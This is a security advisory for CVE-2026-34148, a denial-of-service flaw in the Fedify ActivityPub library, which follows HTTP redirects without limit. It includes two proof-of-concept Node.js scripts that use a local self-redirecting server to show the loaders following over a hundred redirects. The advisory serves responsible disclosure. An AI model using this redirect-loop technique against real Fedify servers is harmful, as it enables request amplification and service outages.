CVE-2026-34148

HIGH7.5EPSS 0.09%

Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution

發布日:2026/4/7修改日:2026/4/7
也稱為:GHSA-gm9m-gwc4-hwgp

描述

### Summary `@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. ### Details Fedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader. In affected versions: - the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header - the authenticated redirect path (`doubleKnock()`) also recursively follows redirects - neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops As a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out. I confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended. Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`. ### PoC Minimal direct reproduction with the package: 1. Install `@fedify/[email protected]`. 2. Save and run the following script: ```js import http from "node:http"; import { getDocumentLoader } from "@fedify/fedify"; const port = 45679; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor`, }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const loader = getDocumentLoader({ allowPrivateAddress: true }); await loader(`http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } ``` 3. Observe output similar to: ``` { count: 120 } ``` This shows the loader followed 119 self-redirects before the first non-redirect response. The authenticated loader used for signed requests shows the same behavior: ``` import http from "node:http"; import { generateCryptoKeyPair, getAuthenticatedDocumentLoader, } from "@fedify/fedify"; const port = 45680; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor`, }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const { privateKey } = await generateCryptoKeyPair(); const loader = getAuthenticatedDocumentLoader( { privateKey, keyId: new URL("https://example.com/users/index#main-key"), }, { allowPrivateAddress: true }, ); await loader(`http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } ``` ### Impact This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached. ### Misc Notes This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. **The original reporter should be credited for the discovery**. In case you accept this advisory please coordinate time of disclosure and credit with us

受影響套件(2)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1HIGH7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

參考連結(7)